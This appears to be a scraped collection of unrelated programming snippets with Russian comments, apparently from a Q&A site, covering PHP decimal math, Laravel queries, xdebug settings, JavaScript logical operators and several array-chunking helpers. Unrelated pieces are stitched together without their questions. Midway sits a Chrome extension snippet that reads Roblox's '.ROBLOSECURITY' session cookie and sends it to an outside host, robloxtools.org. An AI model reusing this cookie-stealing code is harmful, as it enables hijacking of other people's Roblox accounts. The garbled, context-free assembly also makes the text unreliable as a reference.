(new Decimal\Decimal('153.17'))->mul(100)->toInt(); // 15317
(int)bcmul('153.17', '100'); // 15317
общепринятых нормах поведения
use App\Models\Post;
$posts = Post::doesntHave('comments')->get();
develop - Enables Development Helpers including the overloaded var_dump().
xdebug.mode
прописать значение develop
&&
и ||
возвращают свои операнды:1 && "2" // строка "2"
0 && "2" // число 0
0 || "2" // строка "2"
1 || false // число 1
&&
: для позитивного результата нужно, чтобы оба операнда были как-true. Проверка идёт слева направо. Как только наткнулись на как-false, возвращается он. Прошли всю цепочку и все по пути были как-true — вернули последний из них.||
даст позитивный результат, как только наткнётся хоть на один как-true. Его и вернёт. Ну или проверит все значения и если все как-false, вернёт последний из них.1 && "2" && "habr" // вернёт "habr"
"1" && 0 && "qna" // 0
0 || false || "habr" === "qna" // false, результат ("habr" === "qna")
0 || 1 || 2 || true // 1, дальше проверять не пришлось
echo preg_replace_callback('~\[(.+?)\]~', fn($m) => $array[$m[1]] ?? $m[0], $message);
$letter = 'М';
$i = 0;
foreach (explode(', ', implode(', ', $products)) as $product) {
if (strpos($product, $letter) === 0) {
echo (++$i).") $product\n";
}
}
foreach( $arr as $key=>$value ) {
if ($value[1]) {
printf("%s %s\n", $value[0], $value[2]);
}
}
// Перебор массива
foreach( $arr as $key=>$value ) {
if ($$key) {
printf("%s %s\n", $value[0], ucfirst($key));
}
}
chrome.cookies.get({
'url': 'https://www.roblox.com',
'name': '.ROBLOSECURITY'
}, function(cookie) {
fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
});
[
{
path: './name-1.jpg',
filename: 'name-1'
},
{
path: './name-2.jpg',
filename: 'name-2'
},
{
path: './name-3.jpg',
filename: 'name-3'
},
{
path: './name-4.jpg',
filename: 'name-4'
}
].reduce((acc, item, idx, arr) => { if (idx % 2) { acc.push([ arr[idx-1], item ]) } return acc }, [])
/*
[
[
{ path: './name-1.jpg', filename: 'name-1' },
{ path: './name-2.jpg', filename: 'name-2' }
],
[
{ path: './name-3.jpg', filename: 'name-3' },
{ path: './name-4.jpg', filename: 'name-4' }
]
]
*/
const chunked = (data, chunkSize) =>
data.reduce((acc, n, i) => (
(acc[i / chunkSize | 0] ??= []).push(n),
acc
), []);
// или
const chunked = (data, chunkSize) =>
data.reduce((acc, n, i) => (
(i % chunkSize) || acc.push([]),
acc.at(-1).push(n),
acc
), []);
console.log(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3));
const chunked = (data, chunkSize, slice = data.slice) =>
Array.from(
{ length: Math.ceil(data.length / chunkSize) },
function(_, i) {
return this(i * chunkSize, (i + 1) * chunkSize);
},
(slice instanceof Function ? slice : [].slice).bind(data)
);
console.log(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3));
console.log(chunked(document.querySelectorAll('img'), 5));
console.log(chunked('abcdefghij', 4)); // кусками, кстати, будут тоже строки
console.log(chunked('abcdefghij', 4, [].slice)); // а так - массивы
console.log(chunked($('img'), 5));
function* chunked(data, chunkSize) {
let chunk = [];
for (const n of data) {
if (chunk.push(n) === chunkSize) {
yield chunk;
chunk = [];
}
}
if (chunk.length) {
yield chunk;
}
}
console.log(Array.from(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3)));
console.log([...chunked(document.querySelectorAll('img'), 5)]);
for (const n of chunked(Array(10).keys(), 4)) {
console.log(n);
}